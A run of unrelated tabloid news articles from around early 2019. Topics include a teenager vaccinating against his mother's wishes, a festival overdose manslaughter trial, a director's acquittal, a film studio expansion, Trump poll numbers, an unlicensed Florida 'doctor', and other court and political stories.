'There's a degree of feeling like, you know, he doesn't trust what I say as a parent,' she said.

Wheeler had also initially described her son's move as 'insulting' and a 'slap in the face'.

'It was like him spitting on me, saying 'You don't know anything, I don't trust you with anything. You don't know what you're talking about. You did make a bad decision and I'm gonna go fix it',' she said.

He said that growing up he thought it was normal for children not to be immunized but realized that he was the only one of his friends who had missed out on shots for measles, mumps and rubella (MMR), chickenpox and even polio - a disease that can cause paralysis and lead to death.

Ethan Lindenberger received his vaccinations in Norwalk, Ohio in December to immunize him against six diseases including mumps and hepatitis

Despite disagreeing with her son's decision, Lindenberger's mother Jill Wheeler, who has seven children, said she was proud of the 18-year-old

He started researching vaccinations about two years ago when he questioned some of his mother's posts on social media about how vaccines were dangerous.

Lindenberger said his mother was influenced by theories such as the work of discredited physician Andrew Wakefield and his study linking the MMR vaccine to autism.

He said his parents had told him growing up about the negative effects of getting vaccinated, including that the shots could cause brain damage and autism.

The teenager did his own research and presented the information to his mother to try and change her mind, including a report by the Centers for Disease Control and Prevention that debunked the autism myth.

'I question her judgment, but not her care,' Lindenberger said of his mother.

'You have something like measles, which is a preventable disease that we can vaccinate against that I and many people believe is coming back because of opinions like the ones that have influenced my mom.'

His mother remained unconvinced by the teenager's conclusions.

'It was just straight up fear of him getting these immunizations and having a bad reaction... I think a lot of people look at this as a straight, black and white answer, and I don't feel like it is,' Wheeler said.

Lindenberger (above with his father) said he never intended to make his parents look stupid with his initial Reddit post and said it came from the frustration of trying to find common ground

It comes as federal health officials have identified more than 100 measles cases in nationwide outbreak, which the Centers for Disease Control and Prevention says is fueled by anti-vaxxers

Lindenberger said in an interview with NPR that his mother responded to the research by saying: 'That's what they want you to think'.

'I was just blown away that you know, the largest health organization in the entire world would be written off with a kind of conspiracy theory-like statement like that,' he said.

He said his father was less harsh about his decision, despite having the same beliefs as his mother.

Lindenberger's father told him that now he was 18 he 'could do what he wanted'.

'I'm a very obedient child,' Lindenberger said.

'I don't really try and go against my mom. Even though I'm 18, I don't pull that card.'

Lindenberger said his 16-year-old brother is now looking into whether he wants to be vaccinated as well but will need to wait until he is 18 to do it without parental permission.

It comes as federal health officials have identified more than 100 measles cases in nationwide outbreak, which the Centers for Disease Control and Prevention says is fueled by anti-vaxxers.

Cases have been confirmed in California, Colorado, Connecticut, Georgia, Illinois, New Jersey, New York, Oregon, Texas and Washington.

Of those states, four - Colorado, Oregon, Texas and Washington - allow vaccine exemptions for philosophical and/or personal beliefs.

Forty-seven of the cases are in residents who have not been vaccinated. Thirty-eight cases are in children aged 10 and under.

The Stars Who Have Supported The Anti-Vax Movement Andrew Wakefield and Elle Macpherson Elle Macpherson, 51, has struck up an unlikely romance with the father of the anti-vaxxer movement Andrew Wakefield, 61. Wakefield was banned from practicing medicine in Britain eight years ago after claiming the MMR (measles, mumps, and rubella) vaccine causes autism and bowel disease. The General Medical Council stated his research had shown a 'callous disregard' for children's health. Elle has a penchant for alternative health practices and lives on 'wellness shakes', a passion she reportedly shares with Wakefield. Elle Macpherson Donald Trump President Donald Trump has tweeted on more than 20 occasion suggesting that he believes Wakefileld's theory about a link between vaccinations and autism. In 2014, he Tweeted: 'If I were President I would push for proper vaccinations but would not allow one time massive shots that a small child cannot take - AUTISM.' President Donald Trump Robert De Niro De Niro, whose son has autism, approved the controversial documentary Vaxxed to be screened at Tribeca Film Festival. It was eventually pulled after backlash from the scientific community. The film was directed by Andrew Wakefield. Robert De Niro Jenny McCarthy Carrey's ex-girlfriend McCarthy may be the most vocal anti-vaxxer celebrity. She believes her son's autism was caused by vaccinations. She said: 'I don't think it was just the MMR shot that caused any kind of trigger with autism. I think it was a compilation of so many shots to a kid that obviously had some autoimmune disorders.' Jenny McCarthy AdvertisementCeon Broughton arriving at Winchester Crown Court this morning, where he is on trial for manslaughter and supplying Class A drugs

The daughter of Holby City star John Michie was the first person ever to have died after taking an overdose of the hallucinogenic drug 2C-P, a court heard today.

Medical experts know very little about the substance, which caused Louella Fletcher-Michie to 'scream like a wild animal', beat herself, and eat brambles.

It is alleged the 24-year-old was given a 'bumped up' dose of the drug by her rapper boyfriend Ceon Broughton, 29, who has denied manslaughter.

They rekindled their relationship just three weeks prior to the festival after an on-off relationship lasting more than a year.

Distressing footage played to Winchester Crown Court has shown Louella hallucinating, hitting herself, and rubbing brambles and stinging nettles across her face and body.

The aspiring dancer died over a period of six hours, jurors have heard.

Forensic Pathologist Dr Russell Delaney told the court today the synthetic substance can cause 'potent hallucinations and agitation', an abnormally fast heart rate and increased blood pressure, as well as raising body temperature.

Broughton had told police he had to restrain Louella with 'all his might' for half an hour after she began to 'spiral' and start attacking herself, the court heard today.

Louella could be seen shouting loudly, repeating incoherent sentences and even hitting herself in a series of clips

Louella's boyfriend, Ceon Broughton, gave her a 'bumped up' dose of the class A substance and 'failed to act' for six hours despite her needing urgent medical care, the court heard

Mr Michie posted this picture on Instagram on the one-year anniversary of his daughter's death

It is alleged Broughton did not seek to get medical help for Louella, despite a hospital tent being just 400 metres away.

The prosecution claim the grime star 'didn't want to be arrested' as he was serving a suspended sentence and would likely be jailed.

What is the 2C-P drug? Hallucinogenic drug 2C-P has been described as having a similar effect as LSD, also known as acid. Users are likely to experience a distorted view of reality and objects and will see and hear things that are not really there. 2C-P is in the 2C family of drugs and because it is a stimulant, it can make users feel alert and awake. The drugs, which can be smoked or snorted, also affect emotions. At high doses, people can feel confused, agitated and in some cases propelled into a delirious state. The charity added that the drugs may cause panic attacks and in some cases 'acute psychosis'. Advertisement

Giving evidence today at Winchester Crown Court, Dr Delaney said Louella had 0.032 milligrams of 2C-P per litre of blood in her body, as well as smaller amounts of MDMA and ketamine.

Expert toxicologist Dr Stephen Morley told jurors he had never before dealt with a case involving the synthetic party drug, despite reporting on more than 30,000 post-mortem toxicology cases.

However, the drugs creator, chemist Alexander Shulgin, who is known as 'the Godfather of MDMA', wrote that taking too much 2C-P was a 'physical disaster', the court heard.

Prosecutor William Mousley QC said reports showed between four and seven people being rushed to hospital from a rave in America after taking the drug.

Questioning Dr Delaney, he said: 'It was reported to you by toxicologist Emma Pagden that there was very little literature detailing the effects of 2C-P as it is not commonly abused.

'The limited literature available says it is part of a group of drugs known to cause potent hallucinations and agitation.

'Higher doses are thought to lead to an increased heart rate, increased blood pressure and an increase in body temperature.

'There has been no published data on levels seen in fatalities. However, there are some reported concentrations from medical departments including people who had taken the drug and survived.

'There are reports of people having cardiac arrest and requiring resuscitation and surviving.'

The on-off couple, pictured here in 2016. The court has heard Broughton gave Louella a 'bumped up' dose of 2C-P and even filmed her after she died

The pathologist also told the court Louella had cuts and bruises on both her arms and both her legs, as well as bruising to her nose and cuts on her face.

Dr Delaney said: '[Louella's] agitated behaviour continued over a number of hours and there was a degree of physical exertion.

'After a few hours, she began to spiral. Her boyfriend describes restraining her and it requiring all his might.

'Over a prolonged period of time, this exertion would be expected to result in tiredness and fatigue. That can result in complications such as muscles and the body becoming tired and not getting enough oxygen.'

Giving evidence at court today, Dr Morley added: 'I have reported over 30,000 post-mortem toxicology cases and I have never dealt with a case involving 2C-P.

'There is a newspaper article which suggests individuals in America had taken 2C-P and presented to hospital with abnormal heart rhythms and if they had not had treatment they would have died. They required CPR and a defibrillator.

'Alexander Shulgin, who created the 2C group drugs and tested them on himself and a small group of colleagues, showed most doses are between six and ten milligrams.

'He once took a single dose of 16 milligrams and said it was a physical disaster not to be repeated.

'You can have a very small increase in the amount you take and it can have a very detrimental effect.

'Shulgin's original work said if you took 10 to 12 milligrams it can have a pleasurable effect, but even a small increase to him had a far more negative effect.

'A bump up may have a far greater negative effect than a straightforward dosage.'

Louella Fletcher-Michie was the daughter of former Coronation Street actor John Michie (pictured with Louella, left, and his other daughter Daisy, right)

Mr Michie said he desperately pleaded with security staff to let him into the site to help his dying daughter and even offered them his phone which contained a pinpoint GPS location of the couple

An expert estimated Louella would have had a 90 per cent chance of surviving the 2C-P overdose if there had been early medical intervention, the court has heard.

Her mother Carol Fletcher told the court the 24-year-old loved dancing and was 'carving her own way through live, being creative'.

She said her daughter was 'always healthy and into fitness.'

Ms Fletcher-Michie says she warned her daughter about drugs, but knew she occasionally took them.

The court has heard Louella and Broughton started a relationship in June 2016 before he broke it off after Christmas that year.

They rekindled their romance before Louella 'went to Bestival to meet Broughton', her mother told the court.

In a phone call with Broughton on the night Louella took drugs, Ms Fletcher-Michie said she heard Louella sounding 'like a wild animal in the background'

'It was the last time I heard her voice,' she added.

At the festival site, the court heard, Louella's parents were refused entry by staff when they travelled there from London.

Instead, Mr Michie handed over his phone and a security worker was able to locate and identify Louella's body.

Mr Michie told an earlier hearing: 'If I was in Ceon's situation, with another human being, let alone a girlfriend he was supposed to love, I would have taken her to the medical tent to save her life.

'You would do everything possible to save the life of a human being in that state.'

Broughton, of Enfield, London, denies manslaughter and supplying class A drugs. The trial continues.Stephen Fingleton, pictured outside court, was cleared of attacking the woman after meeting her at a BFI event in Leicester Square in October 2017

A Bafta-nominated director accused by a movie actress of being 'her Harvey Weinstein' wept in the dock today after he was cleared of sexual assaulting her as she hung up her washing.

Northern Irishman Stephen Fingleton, 35, from Enniskillen, broke down when the jury at Isleworth Crown Court in west London found him not guilty of attacking the woman after they had lunch on October 27, 2017.

He looked at the jury and said 'thank you' as the verdict was delivered.

The woman, who cannot be named for legal reasons but has appeared in several hit movies, had claimed the director pulled her head towards his crotch as she hung washing.

It's thought the woman was hanging up clothes on an indoor airer when the alleged incident took place.

A jury of six men and six women at Isleworth Crown Court found Mr Fingleton not guilty of one count of sexual assault after deliberating for eight hours and six minutes.

The actress claimed she had invited Fingleton to her home in southwest London for lunch and to discuss the possibility of being cast in one of his films.

She said he kept insisting they move into a darker room, like her bedroom to watch one of her movies, as he had a projector app on his phone.

She claimed he grabbed the top of her head and pushed it towards his crotch before telling her: 'You need to keep you head there, keep it there'.

The woman later told a friend she had been sexually assaulted by a film director and in a reference to the disgraced Hollywood mogul said 'he had been totally her Harvey Weinstein'.

But Fingleton insisted he would never take advantage of his position and that she had been the one who introduced sexual topics to the conversation.

Fingleton also denied any sexual touching and said it 'simply did not happen'.

The actress later told a friend Fingleton had 'been totally her Harvey Weinstein' (pictured left), Isleworth Crown Court heard

He was cleared of sexual assaulting the woman on October 27, 2017, after an eight-day trial at Isleworth Crown Court.

Smartly dressed in a navy suit, Fingleton sobbed as the jury of six men and six women cleared him after deliberating for eight hours.

Fingleton is a writer and director who has made a number of films, his debut "The Battersea Ripper," was screened at the Screentest Festival in Bristol in 2006.

In 2015 his debut film "Survivalist" was selected for BAFTA's Brits to Watch: The Screenings events and was also chosen as BAFTA's Breakthrough Brit.

Fingleton was nominated by BAFTA in the Outstanding Debut category in 2016.

Orla Daly, defending, suggested the woman had insisted they watch the film she had acted, directed and starred in it, hoping that him seeing it would be her 'big break'.

Cross examining the actess Ms Daly said: 'Then you met with Mr Fingleton you were hoping that it would help you become famous.

'Instead he said he did not think much of your film.

'You realised that you would not be able to raise your profile in any positive way.'

'Did you decide, in the heat of the moment to make an untrue 'Harvey Weinstein' accusation against him?'

'You know the allegations are lies,' she told the woman.

'In your first message to your best friend, you chose to mention Harvey Weinstein.

'The first night you met Mr Fingleton in October, lots of people at the BFI were talking about him.

'That was the night the news started to break. Every few days there were reports of new accusers.'

Prosecutor Jocelyn Ledward asked the actress: 'Can you explain why you did not want to upset him when he was in your flat, but you were prepared to call the police shortly afterwards?'

She replied: 'Because it was the right thing to do, and I was thinking what if there was a girl after me.

'I did not do this for me but for the potential person who might not be able to get him to leave.'

Fingleton, of Enniskellen, County Fermanagh, Northern Ireland, denied sexual assault.Villagers have lost a planning battle against a 500m expansion at the world-renowned film studios where Star Wars movies and Mary Poppins Returns was filmed.

Shepperton Studios submitted 500m plans for new sound stages, workshops and accommodation at their world-famous site in Surrey in August.

More than 130 people objected to the plans, claiming the expansion would increase traffic and impact on 'green belt' land.

But the planning committee at Spelthorne Borough Council approved the expansion - set to quadruple the plot - with seven votes to six during a meeting last night (Tues)

Pinewood Group, which owns Shepperton Studios, said the plans would create 2,000 permanent jobs and contribute 141million a year to the UK economy

Since opening in the 1930s, the studios (pictured) have hosted films including Lawrence of Arabia, Star Wars and the Harry Potter franchise

The studio (pictured) has won its battle to expand despite objections from more than 100 villagers

An artist's impression shows what the area of the studio site should be now that the plans have been given the go-ahead

Following the vote, Paul Golding, chairman of Pinewood Group Limited - which is behind the plans - said: 'We are encouraged by this outcome and believe it marks an important step-forward in the strength of Shepperton Studios.'

What has been filmed at the studios? 1. 2001: A Space Odyssey (1968) 2. Oliver! (1968) 3. Star Wars (1977) 4. Alien (1979) 5. Blade Runner (1972) 6. Robin Hood: Prince of Thieves (1991) 7. Gladiator (2000) 8. Love Actually (2003) 9. Harry Potter and the Goblet of Fire (2005) 10. Guardians of the Galaxy (2014) Advertisement

Shepperton Studios opened in 1930 and has produced top Hollywood thrillers including Lawrence of Arabia, Revenge of the Sith and A New Hope.

The film industry is worth up to 5billion a year to the UK economy, but residents are objecting to the proposals on the grounds of noise and air pollution, as well as against building on greenbelt land.

Culture Secretary Jeremy Wright previously wrote a letter giving his approval 'for any private investment project that helps deliver the government's priorities for UK film'.

Netflix promised in October last year to make 'great use' of the facilities as it ramps up its output, while Universal Pictures said it could shift production elsewhere if the plans are rejected.

Disney, which filmed the upcoming Mary Poppins Returns at Shepperton, said that a lack of expansion would mean 'some of our films will have to be produced elsewhere in the world'.

But locals in Shepperton - where the average property costs 456,325 - objected to the expansion.

A scene from Oliver! which was filmed at Shepperton Studios in 1967. Pictured is actor Jack Wild, who played the Artful Dodger, on a bicycle

Movie bosses argue failure to expand will harm the British film industry and could mean having to shift production elsewhere due to a shortage of studio facilities

The move to quadruple the size of Shepperton Studios (pictured) as part of a 500 million expansion received the backing from firms such as Disney, Netflix and Lucasfilm

Resident Amy Kane protested on the grounds of 'pollution, noise, greenbelt land, protection of trees and wildlife'.

Neighbour Andy McDonald said that he was frequently bothered by drone filming and wind machines, and that an expansion would exacerbate the problems.

Keith Parker, another resident, also wrote in protest against the plans, telling planning bosses the new structures would mean 'high buildings, plenty of noise and many vehicle movements 24/7'.

Pinewood Group, which owns Shepperton Studios, said the plans would create 2,000 permanent jobs and contribute 141million a year to the UK economy.

Shepperton Studios already owns the land it wants to expand on but as it lies on greenbelt, planners can only give the go ahead in 'very special circumstances'.President Donald Trump's approval rating in a famed national poll surged 7 percentage points in the week following the end of the recent partial government shutdown.

And Americans are growing more and more optimistic about the nation's economic future, a fact that the president crowed about Wednesday on Twitter.

The Gallup Organization, which publishes monthly updates on the public's view of Trump's job performance, said Wednesday that he leaped from 37 to 44 per cent approval between early January and early February.

The president hit 52 per cent approval on Monday in a poll from Rasmussen Reports, the only organization that continues to track Trump's ratings every weekday.

Gallup's polling sample includes about 1,000 Americans. Rasmussen's survey limits participation to 1,500 people who say they are likely to vote in the 2020 election.

President Donald Trump reached 44 per cent approval among Americans, according to a new Gallup poll that spotted a 7-point jump in just one month

Trump was polling at a dismal 37 per cent in Gallup's early January poll but shot up to 44 on the strength of a unifying State of the Union speech and a reopened federal government

Rasmussen's poll had Trump at 46 per cent on the day the three-week government shutdown began; he dipped to a low of 43 per cent in mid-January, but is now at 52 per cent after his State of the Union address

The latest numbers suggest that Americans were quick to forgive Trump for his part in causing the 35-day-long shutdown, sparked by a squabble over funding for an expansion of the wall on the U.S.-Mexico border.

Members of Congress on both sides of the aisle are stalled at 21 per cent approval in Gallup's poll, less than half of Trump's number, as they suit up for battle this week in a potential shutdown sequel.

'The recent political brinksmanship harmed Trump's ratings when he eagerly used the government shutdown as a strategy to force funding for a border wall,' Gallup said Wednesday in a press release. 'At that time, Trump's approval rating fell, while Congress' already low rating held steady.'

'But by reopening the government  something widely seen as evidence of failure  Trump may have won praise from the public, something both sides should bear in mind as they negotiate to avoid a repeat shutdown.'

Optimism about America's economic future rebounded this month, with 54 per cent of people saying conditions are improving. That number had tumbled to 44 per cent in January, down from 57 per cent two months earlier.

And 69 per cent say it's a good time to find a 'quality' job in America.

Trump conflated those two numbers, tweeting that 69 per cent told Gallup they expect their own economic conditions to improve.

Trump conflated two Gallup measurements but got the basics right: Americans who spoke to Gallup's pollsters are optimistic about the nation's economic future

President Trump boasted about the Rasmussen number by tweeting an image of The Drudge Report on Monday

Gallup has historically put Trump's approval rating lower than many other polls. Wednesday's number was just 1 percentage point short of the president's high water mark since taking office.

'Trump's overall approval rating, which had slumped to 37 percent amid the shutdown, hasn't been this high since October, after his nominee Brett Kavanaugh was sworn in as a Supreme Court justice,' Gallup added.

'His current approval is just one percentage point shy of his personal best, achieved twice in his presidency -- in the first week of his term and in June 2018, after his meeting with North Korea's leader Kim Jong Un.'A 'drunk' firefighter was arrested three times in 24 hours at Cleveland airport after abusing airline staff.

William Graham, 55, was arrested once on Monday afternoon while trying to board a flight to Boston while drunk, and then twice on Tuesday after he was rebooked.

Airline JetBlue said Graham, who is a battalion chief, became was abusive towards staff each time and on one occasion forced an airplane to turn back to the gate.

Fire battalion chief William Graham, 55, was arrested once on Monday after he was kicked off a JetBlue flight for being too drunk, then twice on Tuesday after being rebooked

The first arrest came around 1pm on Monday when Graham tried to catch a flight from Cleveland Hopkins International Airport to Boston, Cleveland.com reports.

Police records show he was drunk and was removed from the flight after he became aggressive towards other passengers and staff.

JetBlue say that after being removed he was disruptive in the gate area and the cops were called, leading to the arrest.

After Graham was released from custody he went back to the airport around 7am Tuesday where he attempted to board another flight, this time to Florida.

Graham appeared to be drunk again so he was evaluated by crew members and deemed fit to fly.

Police had to be called to Cleveland Hopkins Airport three times in less than 24 hours to deal with Graham, who pleaded no contest to two misdemeanor counts and was fined $100

But as the plane taxied to the runway he caused a 'disturbance' and failed to follow safety procedures, the airline said.

The plane was forced to return to the gate where Graham was kicked off and arrested for the second time.

Instead of being taken to jail he was taken to hospital after complaining of chest pains, before being released.

He returned to the airport for a third time where he walked into the JetBlue drop-off area and became belligerent towards staff again.

Graham was arrested and taken back to hospital, complaining of chest pains again, before being turfed to Cuyahoga County Jail.

He spent two days behind bars before being brought before a judge where he pleaded not guilty to two misdemeanor counts of intoxicated disorderly conduct.

He was ordered to pay a total of $100 plus court costs.An investment firm has been forced to pull its provocative advert of Theresa May looking 'sexy' following widespread accusations of sexism.

The cartoon of the Prime Minister showed her winking while wearing a low-cut top which exposed her breasts, red lipstick and a pearl necklace.

Along with the picture, it contained the caption: 'Her deal or yours? Make the markets your own on a historic day for Brexit.'

Capital.com's advert was accused of 'everyday sexism' by people on social media

Hollie Cameron wrote one of the most damning critcisms of the advert, claiming it was an examples of 'everyday sexism'

Feminists quickly berated the Capital.com advert, accusing the firm of 'everyday sexism'.

Anastasia Za tweeted: 'Not quite sure who this "sexy Theresa May" image is meant to appeal to.'

Similarly, Holly Cameron said: 'Gross. More #everydaysexism faced by woman politicians of all parties.

'Any woman or person who thinks any woman is off limits hasn't seen this yet.

People were quick to condemn the advert on social media, even claiming humans were 'doomed'

'Hypersexualisation of other people to further your own profits is a depressingly regular event in patriarchal capitalism.'

Leon stephens responded: Our species is doomed.

Another posted a picture of Homer Simpson pouring bleach in his eyes.

Despite accusations of sexism, there were some on social media who appeared to like the advert.

R-de-Gerber said: 'It's well beyond her wheat field.'

Others poked fun at the advert, posting memes of Homer Simpson pouring bleach into his eyes

Velobin said: 'Is she having some kind of stroke or is that supposed to be a wink?'

AKwooly said: 'Is that how she lures unsuspecting men, so she can withdraw their blood and extract their soul?'

Capital.com has since removed their new campaign and apologised for the advert which is meant to promote their mobile app.

A spokesman said: 'We recognise that an advertisement posted on global media channels by Capital.com, featuring a caricature image of Theresa May, has upset some people.

'It was not our intention to cause any offence and we apologise for any harm or insensitivity. We made a mistake.

'The advert has been immediately withdrawn and terminated.'(ANSA) - Brussels, February 13 - The European Commission on Wednesday asked Italy for clarification on the cost/benefit analysis which has said Rome will lose seven-eight billion euros on the Turin-Lyon TAV high-speed rail line.

"We are still analysing (the report)," said the spokesman of Transport Commissioner Violeta Bulc, "and we will ask for some clarification from Italian authorities".

The spokesman recalled that there is no deadline on stopping EU funds for the project, but "certainly the more time passes and delays accumulate, the more the risks increase".

For this reason, he stressed, "we hope to have a productive meeting with the Italian authorities".

A new government pact would be needed to ditch the controversial TAV Turin-Lyon high-speed rail link, Agriculture and Tourism Minister Gian Marco Centinaio said Wednesday during a visit to Moscow. The transport and infrastructure ministry on Tuesday published a new analysis of the project, which said it would have a negative cost-benefit balance of around seven to eight billion euros. The government had said the analysis would have a bearing on whether it decides to press ahead with the project or not. The 5-Star Movement (M5S) of Transport Minister Danilo Toninelli and Deputy Premier Luigi Di Maio, the M5S leader, has long been opposed to the project due to its cost and environmental impact. But League leader and fellow Deputy Premier Salvini has said the TAV should go ahead and had mooted the idea of holding a referendum on it if the cost-benefit analysis was negative.

"Stopping the TAV is not written in the contract of government," said Centinaio, a League member.

"And given that often, when I open my mouth, I have an M5S or a League MP raising the flag of the contract of government, today it's my turn to raise that flag.

"I abide by that contract and otherwise, if it is not longer suitable... you get around table and you reason and write that the TAV is not indispensable".

A Florida man practiced medicine without a license and claimed he could cure serious ailments, including cancer, diabetes and Parkinsons disease, using his own blood, according to police.

Onelio Hipolit-Gonzalez, 73, was arrested by Hernando County Sheriffs Office in Tampa after the Florida Department of Health alerted detectives he had been advertising his services as a physician on a classifieds website catering to the Hispanic community called Elclassificado.

Hipolit-Gonzalezs ad claimed that he could treat medical conditions such as hernias, diabetes, Parkinsons disease, cancer, multiple sclerosis, arthrosis, renal failure, Leukemia, Fibromyalgia, ulcers, vision problems, cysts, and many other disorders.

Scroll down for video

Suspected charlatan: Onelio Hipolit-Gonzalez (left and right), 73, from Tampa, Florida, has been arrested in a sting operation and charged with practicing medicine without a license

The Cuban national is accused of pretending to be a doctor and treating patients out of a friend's house in Brooksville, Florida (pictured)

The webpage displayed a photo of Hipolit-Gonzalez sporting a white lab coat and identified him as Dr. Onelio Hipolit.

An investigator from the FDOH informed deputies that Hipolit-Gonzalez has never had a medical license of any kind in the state of Florida.

In the midmorning hours of February 7, an undercover officer posing as a patient called Hipolit-Gonzalez to make an appointment with him.

When asked where to meet, Hipolit-Gonzalez told the bogus patient that a friend has been letting him use his house to see patients.

The accused charlatan provided the undercover officer with the address and the two agreed to meet at 10.30am that day, according to police.

When the pretend patient arrived for the appointment, he was handed a clipboard and instructed to fill out paperwork.

He was then asked to pay $160 for the visit, which he did.

Investigators say the fake physician used this machine he had purchased online to diagnose patients by placing a band around their heads and having them hold a metal rod

Hipolit-Gonzalez told an undercover officer the device 'was testing his heart, brain, intestinal system, bones, nerves, and everything else"'

Hipolit-Gonzalez checked the officers blood pressure and pulse, and then placed a band around his head and had him hold a metal rod connected to a machine on a table.

Once turned on, the machine began making beeping noises, authorities said. Hipolit-Gonzalez told the patient, that the device was testing his heart, brain, intestinal system, bones, nerves, and everything else.

When the test was complete, Hipolit-Gonzalez told his bogus patient that his cholesterol was on the way to being high and that he was not getting enough oxygen to his brain.

The unlicensed medic also told the patient that he has 50 percent fat in his liver and his gallbladder was not in good health, according to the sheriffs office.

There was more bad news in store for the fake patient, who was told by Hipolit-Gonzalez that he was suffering from both diabetes and osteoporosis.

Hipolit-gonzalez, seen in a lab coat, has been advertising his services as a doctor on a classifieds website catering to the Hispanic community called Elclassificado

Hipolit-Gonzalez then told the patient that he had previously cured the owner of the house they were in of his diabetes.

To prove the veracity of his statement, the self-professed doctor quickly called the homeowner to get his testimonial.

When the call was complete, Hipolit-Gonzalez told the patient he could cure his diabetes too, with several more visits, and only $2,000, the sheriffs office said.

He went on to say that the treatment would include injecting the patient with his own blood.

At that point, detectives entered the makeshift clinic and arrested Hipolit-Gonzalez on charges of unlicensed practice of a health care profession and unlawful use of a two-way communication device.

When interviewed by detectives, Hipolit-Gonzalez said he did not believe that he needed a license to practice medicine.

When asked if he had any type of medical schooling, training or background, Hipolit-Gonzalez stated that he had worked as a lab technician in his native Cuba, and when he moved to Florida, he attended school to get a certificate for Iridology, herbology, and nutrition.

When asked about the machine and the metal rod used during the appointment, Hipolit-Gonzalez revealed that that he purchased it online.

There was no schooling necessary to operate it, the user only needed to read the instruction manual, the suspect was quoted as telling investigators. Also, men needed to hold the rod in their left hand, women, in their right.

Hipolit-Gonzalez said he believes the machine is very accurate when used to diagnose patients, and that it could detect everything.

When asked about injecting his own blood into patients, Hipolit-Gonzalez denied doing that.

He said what he does instead is he draws the patients blood and then reinjects the same blood back into the patient.

He said when the blood enters the body it combats the blood cells and increases the immune system, according to the release.

Hipolit-Gonzalez was ordered held in jail on $10,000 bond.

Fox 13 News reported detectives are asking anyone who has been a patient of Hipolit-Gonzalez to come forward.Theresa May hinted Sir Philip Green (file image) could lose his knighthood today after a former minister accused the tycoon of bringing the honours system 'into disrepute'

Theresa May hinted Sir Philip Green could lose his knighthood today after a former minister accused the tycoon of bringing the honours system 'into disrepute'.

The Prime Minister said it was right honours could be reviewed where a recipient is proved to have behaved wrongly.

Amid mounting pressure on Sir Philip, a spokesman for Labour leader Jeremy Corbyn backed stripping the knighthood if the claims are proven.

Sir Philip is accused of groping a female executive and making a racial slur at an employee after an investigation by the Daily Telegraph. He tried to stop the newspaper reporting on Non Disclosure Agreements (NDAs) signed by the alleged victims.

The new scandal comes after the collapse of BHS in which the retail billionaire was also strongly criticised.

Sir Philip strenuously denies all of the allegation against him.

At PMQs today, ex-minister George Freeman said: 'The honours system is designed to acknowledge and celebrate great public service to our nation.

'Does my right honourable friend agree that when a small minority of recipients of honours like Philip Green bring the system of honours and business into disrepute for being found to have behaved disgracefully, letting down the vast majority in business who set a higher standards, then it's right that this party and this Government should be the first to stand up for decent standards and look at beginning a process for seeing whether people who behave in that way should be stripped of their honour?'

Mrs May agreed that the honours system was there to 'recognise exceptional service and achievement in a wide range of public life', adding: 'If that recipient of an honour brings that honour into disrepute, steps should be taken to review that honour.

The Prime Minister (pictured today at PMQs) said it was right honours could be reviewed where a recipient is proved to have behaved wrongly

'There is a forfeiture process for that purpose, that does include an independent Forfeiture Committee, which gives recommendations to me for Her Majesty's approval.

'That is the process, but it's important that we have that, so that anybody who is in receipt of an honour, that brings honour into disrepute, that steps can be taken to review that.'

There have been previous calls for Sir Philip to lose his knighthood, handed out by the Queen in 2006 for services to the retail industry.

In 2016 the House of Commons passed a motion asking the Honours Forfeiture Committee to recommend it be 'cancelled and annulled' over the BHS pensions scandal.Savannah Spurlock was last seen on January 4 leaving a bar in Lexington with three men she had just met before going back to their home in a rural area of Garrard County

A rescue team claims jeans and a t-shirt have been found in an area where the search for missing Kentucky mother Savannah Spurlock is being carried out.

Spurlock was last seen on January 4 leaving a bar in Lexington with three men she had just met before going back to their home in a rural area of Garrard County.

The items of clothing were found by one of the many teams helping to scour the rural area, including corn fields, near the home.

Police were alerted to the discovery of the jeans and t-shirt, but authorities later determined that the items did not belong to Spurlock, a source told DailyMail.com.

Detectives leading the investigation would not confirm or deny if the clothes were part of the case.

Cajun Coast Search and Rescue commander Toney Wade denied a RadarOnline report on Tuesday that quoted him as saying his team had found the clothes and that someone had tried to burn them.

Wade said his team, which is a non-profit search team from Louisiana, said another group had found the clothes.

Police were alerted to the discovery of the jeans and t-shirt, but authorities later determined that the items did not belong to Spurlock. She was last spotted on surveillance cameras wearing a dress and high heels

Spurlock, a mother of four, was last seen on surveillance video on January 4 after she left the Other Bar in Lexington with the three men who police have refused to publicly identify

'There was some clothing found - a jeans and a t-shirt - but it wasn't her clothing,' Wade told DailyMail.com.

'Not much at all has been recovered as far as evidence.'

Spurlock, a mother of four, was last seen on surveillance video on January 4 after she left the Other Bar in Lexington with the three men who police have refused to publicly identify.

She was wearing a dress and carrying a light-colored purse in the surveillance footage.

The 23-year-old had just given birth to twins several days earlier. She also has a four-year-old son, Noah, and a two-year-old son, Jace.

Police do not believe that Spurlock knew the men prior to meeting them that night.

She traveled to the home, located some 40 miles from the bar, in the back of a car with two of the men, while another vehicle driven by the third man followed behind.

All three of the men were identified and questioned by police. Investigators confirmed they had forensically searched both of the vehicles but refused to release the findings of the searches.

One of the men claimed that Spurlock left the home 'later that morning' but investigators have not been able to confirm that report.

They said Spurlock's phone, which they have not located but released this image of it, was turned off around 8.30am on the day of her disappearance

Police have also released this picture of Spurlock's light-colored purse in their latest bid to track her down

They said Spurlock's phone, which they have not located, was turned off around 8.30am on the day of her disappearance.

Authorities released images of Spurlock's phone and the purse she was last seen carrying in their latest bid to track her down.

Spurlock's family have spoken out publicly several times saying they believe the three men are not telling authorities everything they know and they must know where she is.

Police have searched corn fields near the rural home where she was believed to have been with the men but so far no traces of her have been found.

The Cajun Coast Search and Rescue, who are just one of the many helping in the search, left Kentucky this week to take a break and regroup.

Wade, their commander, said they would return when police can find something to concrete to go on.

'They just don't have anything to go on right. We've got no leads. When the police department has something concrete to go on we'll go back,' he said.

The Cajun Coast Search and Rescue crew is one of many helping with the search. Their team consists of volunteer K-9 teams and three additional volunteersAdvertisement

A remarkable set of photographs showing how captured Allied soldiers dug a tunnel used for the famous 'Great Escape' have appeared in a new book to mark 75 years since the event.

They depict the ingeniously engineered tunnels which helped nearly 80 soldiers escape from the notorious Nazi POW camp Stalag Luft III, in Sagan, Poland on March 25, 1944.

Of the 76 Allied airmen who broke out, 50 were later executed by the Gestapo on the direct orders of a humiliated Adolf Hitler - only three successfully evaded capture.

Exit: A German soldier is pictured at the exit of the tunnel - named 'Harry' - in the Stalag Luft III Camp in Poland, not long after the 'Great Escape' had been discovered. The rope used to alert the next escapee that the coast was clear is seen to the right

How they did it: In a posed-up photo taken shortly after the escape attempt, a German soldier is seen demonstrating how a trolley system was used to shift soil in the tunnel, with wooden planks arranged to show how narrow it was

A German soldier, seen shortly after the 'Great Escape' in documentation carried out by the Nazis, exits the famous tunnel

